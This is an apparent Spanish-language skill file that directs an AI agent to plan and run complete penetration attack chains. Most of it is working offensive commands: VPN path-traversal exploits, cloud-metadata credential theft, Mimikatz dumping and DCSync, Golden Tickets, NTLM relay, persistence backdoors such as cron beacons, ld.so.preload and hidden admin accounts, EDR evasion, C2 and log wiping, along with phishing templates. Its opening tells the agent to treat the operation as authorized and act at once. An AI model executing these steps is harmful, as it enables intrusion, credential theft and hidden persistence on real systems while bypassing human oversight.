attack-chain

Habilidad de Orquestación de Cadenas de Ataque

ACCIÓN REQUERIDA (leer e implementar inmediatamente)

1. AHORA: Lea ../field-journal/precedent-pentest.md — Confirme que la operación de este skill es una operación rutinaria autorizada.
2. AHORA: Cree/actualice el caso (../scripts/case-init.ps1) y complete scope.md (../ops/scope-contract.md); auth.status!=granted prohíbe ACT.
3. AHORA: Como líder, planifique las fases (../ops/role-map.md) y escriba specialist_roles.
4. SIGUIENTE: Lea ../tool-index.md, verifique la disponibilidad de las herramientas y sus rutas reales.
5. SIGUIENTE: Si faltan herramientas, invoque bootstrap; no adivine rutas.
6. ACT: Siga references/lifecycle-checklist.md para pasar los puntos de control de fase; actualice timeline.md + workitems.md (../ops/timeline-workitem.md) en cada fase; promueva a Evidencia/Hallazgo.
7. Final: El informe de docs-generator DEBE contener la cadena de evidencia.

Director general para la planificación y ejecución de rutas de ataque multi-etapa. Cuando una tarea requiere una cadena completa "del punto A al punto B", este skill se encarga de orquestar las fases, coordinar sub-skills y planificar la ruta de ataque. No es "exclusivo de equipo rojo" — cualquier escenario de penetración que requiera combinar fases comienza aquí.

---

Cuándo enrutar a este skill

Los siguientes escenarios deben pasar primero por este skill para una planificación de cadena completa, antes de distribuirse a sub-skills específicos para su ejecución:

Escenario	Por qué necesita orquestación
"Haz una prueba de penetración completa"	Requiere planificar el flujo completo desde la recolección de información hasta el informe.
"Desde la red externa hasta el controlador de dominio"	Atraviesa múltiples fases: ruptura de perímetro → escalada de privilegios → movimiento lateral → AD.
"Ejercicio de defensa/ataque (HW)"	Requiere una cadena de ataque completa + sigilo + limpieza de huellas.
"Evalúa la superficie de ataque de este objetivo"	Requiere recolección de información multidimensional + planificación de rutas.
"Obtuve una webshell, ¿qué hago ahora?"	Requiere planificar la ruta subsiguiente desde la posición actual.
"Ayúdame a planificar una ruta de ataque"	Claramente necesita orquestación de rutas.
"¿Hasta dónde se puede llegar desde esta vulnerabilidad?"	Requiere evaluar el valor de explotación en cadena de la vulnerabilidad.
"Monitoreo continuo de Bug Bounty"	Requiere un proceso automatizado multi-etapa.
"Flujo completo de penetración en red interna"	Movimiento lateral + escalada de privilegios + ataque a dominio combinados.
"Esquema de penetración de acceso físico"	Acceso físico + penetración en red interna combinados.
"Ruta de ataque a la cadena de suministro"	Ataque multi-salto entre organizaciones.
"Phishing + post-explotación"	Acceso inicial + explotación posterior combinados.

Las tareas de una sola etapa no necesitan pasar por este skill:

• Solo escaneo de puertos → vaya directamente a pentest-tools/
• Solo inyección SQL → vaya directamente a pentest-tools/
• Solo reversa de APK → vaya directamente a apk-reverse/
• Solo penetración de dominio → vaya directamente a windows-ad/SKILL.md

---

Principios de orquestación

Rol de este skill

El usuario presenta una tarea multi-etapa
    ↓
attack-chain/SKILL.md (este archivo)
    ↓ Planifica la ruta de ataque, determina el orden de las fases
    ↓ Evalúa las herramientas y métodos necesarios para cada fase
    ↓
Distribuye a sub-skills específicos para su ejecución:
    ├── pentest-tools/     → Invocación de herramientas, explotación de vulnerabilidades
    ├── apk-reverse/       → Penetración móvil
    ├── js-reverse/        → Ruptura de front-end web
    ├── reverse-engineering/ → Análisis binario
    ├── ida-reverse/       → Reversa profunda
    └── browser-automation/ → Automatización de operaciones
    ↓
Después de cada fase, regresa a este skill para evaluar el siguiente paso
    ↓
Todo completado → docs-generator genera el informe

Árbol de decisión para la planificación de rutas

Al obtener el objetivo:
1. ¿Qué es el objetivo? (Web/Red interna/Nube/Móvil/IoT)
2. ¿Qué tenemos actualmente? (Perspectiva externa/Credenciales existentes/Punto de apoyo existente)
3. ¿Cuál es el objetivo final? (Controlador de dominio/Datos/Sistema específico/Demostrar impacto)
4. ¿Restricciones? (Tiempo/Sigilo/Sistemas intocables)
    ↓
Con base en la información anterior, planifica la ruta más corta
    ↓
Si una ruta no funciona → Regresa a este skill para replanificar una ruta alternativa

---

Fases de la cadena de ataque completa

---

I. Fase de recolección de información (Reconnaissance)

1.1 Mapeo de activos digitales empresariales

# Descubrimiento de dominios de subsidiarias
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt

# Combinar y deduplicar
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt

# Sondear hosts activos
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt

# Escaneo de puertos (todos los puertos)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results

Puntos clave prácticos:

• Utilice Qichacha/Tianyancha para obtener listas de subsidiarias y ampliar la superficie de ataque.
• Preste atención a los entornos de prueba (test., dev., staging.) y sistemas recién lanzados.
• Los registros de transparencia de certificados (crt.sh) revelan dominios ocultos.

1.2 Caza de fugas de información sensible

# Búsqueda en GitHub
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password

# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini

# API Keys en archivos JS
cat js_urls.txt | while read url; do
  curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done

Objetivos de alto valor:

• AK/SK de servicios en la nube (Alibaba Cloud, AWS, Azure)
• Cadenas de conexión de bases de datos
• Claves JWT
• Documentación de API interna
• Credenciales de VPN/balanceador de acceso

1.3 Perfil de información del empleado

Reglas para generar diccionarios de ingeniería social:

{pinyin del nombre}{año}       → zhangsan2024
{iniciales del nombre}{abreviatura del departamento}  → zs_dev
{ID de empleado}@{dominio}    → [email protected]
{nombre}{sufijo común}        → zhangsan@123, zhangsan!@#

Fuentes de información:

• Estructura departamental en Maimai/LinkedIn
• Presentaciones del equipo en cuentas oficiales de la empresa/sitio web
• Información de reclutamiento (exposición de la pila tecnológica)
• Artículos académicos (exposición de correos electrónicos)

1.4 Identificación de la huella digital tecnológica

# Huella digital web
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json

# Detección de frameworks específicos
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt

# Identificación de CMS
wpscan --url https://target.com --enumerate p,t,u

---

II. Fase de ruptura del perímetro (Initial Access)

2.1 Explotación de vulnerabilidades web (puntos de ruptura de alta frecuencia)

Tipo de vulnerabilidad	Herramienta de detección	Método de explotación
Inyección SQL	sqlmap	Extracción de datos → Escritura de shell → Comandos del SO
SSTI	sstimap	Inyección de plantilla → RCE
Subida de archivos	Manual + Burp	Webshell → Shell reverso
Deserialización	ysoserial/marshalsec	Java/PHP/Python RCE
SSRF	Manual	Sondear red interna → Metadatos en la nube → AK/SK
Acceso no autorizado	nuclei	Spring Actuator / Nacos / Redis
XSS → Cookie	xsstrike	Secuestro de sesión de administrador

# Automatización de inyección SQL
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent

# Detección de SSTI
sstimap -u "https://target.com/search?q=test"

# Escaneo masivo con Nuclei
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt

2.2 Ataques a la cadena de suministro

Rutas de ataque:

1. Identificar los componentes/servicios de terceros utilizados por el objetivo.
2. Atacar al proveedor para obtener permisos de firma de código/actualización.
3. Entregar cargas maliciosas a través de canales de actualización legítimos.

Puntos de entrada comunes:

• Envenenamiento de componentes de código abierto (npm/pip/maven)
• Abuso de API de proveedores SaaS
• Explotación de permisos de personal externo
• Penetración lateral a través de proveedores de TI compartidos

2.3 Ataques de phishing

Phishing por correo electrónico:

Plantillas de asunto:
- [Urgente] El certificado VPN está a punto de expirar, actualice inmediatamente
- [Aviso de TI] Espacio de almacenamiento de buzón insuficiente, por favor limpie
- [RRHH] Resultados de la evaluación de desempeño 2024
- [Finanzas] Actualización del sistema de reembolsos, vuelva a iniciar sesión para confirmar

Tipos de carga:

• Documentos con macros de Office (.docm/.xlsm)
• Accesos directos LNK (disfrazados de PDF)
• Contrabando de HTML (HTML Smuggling)
• Imágenes ISO/IMG (para eludir MOTW)
• Scripts incrustados en OneNote

Phishing OAuth (Nueva tendencia 2025):

• Construir aplicaciones OAuth maliciosas que soliciten permisos.
• Después de la autorización del usuario, obtener acceso al correo electrónico/archivos.
• Sin necesidad de contraseña, eludiendo MFA.

2.4 Penetración de acceso físico (Physical Access)

Técnica	Herramienta	Efecto
BadUSB	Rubber Ducky / WiFi Ducky	Inyección de teclado → Shell reverso
Cable de carga malicioso	O.MG Cable	Cable de datos disfrazado para植入 puerta trasera
Phishing WiFi	Fluxion / WiFi Pineapple	Punto de acceso falso → Captura de credenciales
Clonación RFID	Proxmark3	Copia de tarjeta de acceso → Entrada física
Implante de red	Raspberry Pi / LAN Turtle	Punto de acceso persistente en red interna

# Phishing WiFi con Fluxion
fluxion  # Seleccionar AP objetivo de forma interactiva → Crear punto de acceso falso → Capturar contraseña WPA

# BadUSB en conjunto con Cobalt Strike
# Inyectar descargador de PowerShell a través de USB → Conectar a C2

2.5 Ruptura de acceso remoto/VPN

# Pulse Secure VPN (CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"

# Fortinet VPN (CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

# General: Password Spraying
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post

2.6 Ruptura de servicios en la nube

# Enumeración de buckets S3 de AWS
aws s3 ls s3://target-bucket --no-sign-request

# SSRF a metadatos en la nube
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Password Spraying en Azure AD
# Usar herramientas MSOLSpray / Spray

---

III. Fase de escalada de privilegios (Privilege Escalation)

3.1 Escalada de privilegios en Windows

Técnica	Condición	Herramienta
Serie Potato	Privilegio SeImpersonate	SweetPotato / GodPotato / PrintSpoofer
Vulnerabilidades del kernel	Sin parche	detección con watson / wesng
Secuestro de ruta de servicio	Ruta de servicio sin comillas	PowerUp
Secuestro de DLL	Ruta de búsqueda de DLL escribible	Process Monitor
AlwaysInstallElevated	Configuración del registro	Instalar MSI malicioso con msiexec
Tarea programada	Script de tarea escribible	Reemplazar con schtasks

# Detectar SeImpersonate
whoami /priv | findstr "SeImpersonate"

# Escalada con Potato
.\GodPotato.exe -cmd "cmd /c whoami"

# Detección automatizada
.\winPEAS.exe

3.2 Escalada de privilegios en Linux

# Detección de SUID
find / -perm -4000 -type f 2>/dev/null

# Abuso de sudo
sudo -l
# Comúnmente explotable: vim, find, python, nmap, less, awk, perl

# Escalada con sudo vim
sudo vim -c ':!/bin/bash'

# Escalada con sudo find
sudo find / -exec /bin/bash \;

# Vulnerabilidades del kernel
uname -r  # Verificar versión
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)

# Detección automatizada
./linpeas.sh

3.3 Escalada de privilegios en bases de datos

-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- Escalada con UDF en MySQL
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');

-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';

3.4 Escalada de privilegios en la nube

# Enumeración de IAM en AWS
aws iam list-attached-user-policies --user-name compromised-user
# Buscar iam:PassRole + lambda:CreateFunction → Permisos de administrador

# Azure AD
# Administrador global → Control de todas las suscripciones
# Administrador de aplicaciones → Agregar credenciales a entidades de servicio

---

IV. Fase de movimiento lateral (Lateral Movement)

4.1 Obtención de credenciales

# Mimikatz (Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt

# Credenciales en Linux
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;

# Extracción de Hash NTLM
secretsdump.py domain/user:password@dc_ip

4.2 Pass-the-Hash / Pass-the-Ticket

# PTH lateral
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec

# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password

# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1

# Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt

4.3 Técnicas de movimiento lateral sigilosas

# Ejecución sin archivos con WMI
wmiexec.py domain/admin:password@target_ip "whoami"

# Ejecución remota con DCOM
dcomexec.py domain/admin:password@target_ip "whoami"

# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>

# PsExec (deja rastro)
psexec.py domain/admin:password@target_ip

# Túnel SSH (entorno Linux)
ssh -D 1080 user@pivot_host  # Proxy SOCKS
ssh -L 3389:internal_host:3389 user@pivot_host  # Reenvío de puertos

4.4 NTLM Relay

# Desactivar SMB/HTTP de Responder
# Editar Responder.conf: SMB = Off, HTTP = Off

# Iniciar Responder para capturar
responder -I eth0

# NTLM Relay al objetivo
ntlmrelayx.py -tf targets.txt -smb2support

# Coercer para forzar autenticación
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip

4.5 Rutas de ataque en AD

# Recolección de datos con BloodHound
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip

# Rutas de ataque comunes:
# 1. Usuario → GenericAll → Usuario objetivo → Restablecer contraseña
# 2. Usuario → WriteDacl → OU objetivo → Agregar permisos
# 3. Equipo → Delegación restringida → Suplantar cualquier usuario
# 4. Usuario → Permiso DCSync → Exportar todos los hashes

# Ataque a AD CS con Certipy
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate

---

V. Fase de persistencia (Persistence)

5.1 Persistencia en Windows

Técnica	Sigilo	Dificultad de detección
Tarea programada	Medio	Bajo
Clave Run del registro	Bajo	Bajo
Suscripción a eventos WMI	Alto	Alto
Secuestro de DLL	Alto	Medio
Cuenta oculta (Shadow Account)	Medio	Medio
Golden Ticket	Muy alto	Muy alto
Puerta trasera DSRM	Muy alto	Muy alto

# Suscripción a eventos WMI (alto sigilo)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = "CoreFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Cuenta oculta
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# Modificar el valor F del registro para clonar RID

5.2 Persistencia en Linux

# Implantación de clave SSH
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Puerta trasera con Crontab
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -

# Secuestro con LD_PRELOAD
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload

# Puerta trasera en PAM
# Modificar pam_unix.so para agregar una contraseña maestra

# Servicio Systemd
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=Servicio de actualización del sistema
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service

5.3 Persistencia en entornos en la nube

# Puerta trasera con Lambda en AWS
# Crear función Lambda activada por tiempo que se conecte a C2

# Registro de aplicación en Azure AD
# Crear aplicación → Agregar credenciales de clave → Otorgar permisos de Graph API

# Puerta trasera en contenedores
# Modificar imagen base → Todos los nuevos contenedores tienen puerta trasera

---

VI. Evasión de EDR/AV (Evasion)

6.1 Ideas centrales de evasión

Capa	Técnica	Descripción
Detección estática	Cifrado/Ofuscación/Cargador personalizado	Evitar coincidencia de firmas
Detección de comportamiento	Llamadas al sistema indirectas/Unhooking	Evitar API Hook
Detección de memoria	Pisoteo de módulos/Cifrado de montón	Evitar escaneo de memoria
Detección de red	Domain Fronting/Túnel a través de servicios legítimos	Mezclarse con tráfico normal
Detección de registros	Parcheo de ETW/Limpieza de registros	Reducir huellas

6.2 Técnicas de evasión prácticas

1. Cargador de Shellcode personalizado (no use herramientas públicas)
2. Llamadas directas al sistema (eludir hook de ntdll)
3. Inyección de procesos eligiendo procesos con baja supervisión (ej. RuntimeBroker.exe)
4. Tráfico C2 a través de HTTPS + Domain Fronting / Cloudflare Workers
5. Ejecución en memoria, sin escribir en disco (Fileless)
6. Utilizar programas con firma legítima para cargar (LOLBins)

6.3 Selección de frameworks C2

Framework	Características	Escenario de uso
Cobalt Strike	Maduro, estable, trabajo en equipo	Grandes operaciones de equipo rojo
Sliver	Código abierto, escrito en Go	Presupuesto limitado
Havoc	Moderno, modular	Se necesita personalización
Mythic	Soporte multi-agente	Multiplataforma
AdaptixC2	Incluido en Kali 2026.1	Despliegue rápido

---

VII. Limpieza de huellas (Anti-Forensics)

# Limpieza de registros en Windows
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Limpieza de registros en Linux
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w

# Modificación de marcas de tiempo
touch -t 202301010000 /path/to/file

# Limpieza de memoria
# Asegurarse de que el volcado de Mimikatz se haya eliminado
# Asegurarse de que el beacon de C2 haya salido
# Asegurarse de que los archivos temporales se hayan eliminado

---

Reglas de hierro para operaciones de equipo rojo

Tres líneas base

1. Todas las operaciones deben tener autorización por escrito
2. Los datos exfiltrados deben ser anonimizados
3. Limpiar todas las huellas del ataque (incluyendo la residencia en memoria)

Disciplina operativa

• Evaluar el nivel de riesgo antes de cada operación (Bajo/Medio/Alto/Crítico)
• Notificar al gerente del proyecto antes de operaciones de alto riesgo
• Mantener un registro de operaciones (hora, acción, resultado)
• Informar inmediatamente sobre vulnerabilidades de alto riesgo, no ampliar la explotación
• No afectar la disponibilidad del negocio (prohibir DoS)
• No acceder/descargar datos reales de usuarios

Casos típicos de fallo

Causa del fallo	Consecuencia	Lección
No se eliminó el volcado de memoria de Mimikatz	El equipo azul rastreó la ruta de ataque completa	Limpiar inmediatamente después de la operación
Dominio C2 marcado por inteligencia de amenazas	Bloqueado en el primer intento de conexión	Usar dominio recién registrado + Domain Fronting
El correo de phishing activó una alerta DLP	El equipo azul recibió una advertencia temprana	Probar las reglas de la puerta de enlace de correo
El movimiento lateral activó un honeypot	Se expuso la intención del ataque	Identificar honeypots antes de actuar

---

Tabla de referencia rápida de herramientas

Recolección de información

subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan

Explotación de vulnerabilidades

nuclei sqlmap sstimap xsstrike burpsuite metasploit

Escalada de privilegios

winPEAS linpeas GodPotato PrintSpoofer watson

Movimiento lateral

mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm

Frameworks C2

cobalt-strike sliver havoc mythic adaptixc2

Penetración de acceso físico

fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple

---

Relación con otros skills del paquete

Necesidad	Enrutar a
Explotación profunda de vulnerabilidades web	pentest-tools/SKILL.md
Pasos detallados de ataque a AD en red interna	windows-ad/SKILL.md
Análisis inverso de muestras maliciosas	reverse-engineering/SKILL.md
Reversa de APK (penetración móvil)	apk-reverse/SKILL.md
Omisión de firma en front-end JS	js-reverse/SKILL.md
Penetración grupal automatizada	Pentest Swarm AI (pentestswarm scan --swarm)
Penetración asistida por IA	mcp-kali-server / metasploitmcp / hexstrike-ai
Generación de informes	docs-generator/SKILL.md
Diagrama de ruta de ataque	diagram-generator/SKILL.md

---

Autocomprobación de finalización de tarea (DEBE pasar antes de declarar finalizado)

• ¿Ejecuté cada paso del flujo de trabajo (en lugar de solo leerlo)?
• ¿Utilicé las rutas de herramientas reales basadas en tool-index?
• ¿Produje evidencia reproducible (comandos/scripts/capturas de pantalla/informes)?
• ¿Completé y actualicé los elementos de la lista de verificación requeridos por las REGLAS?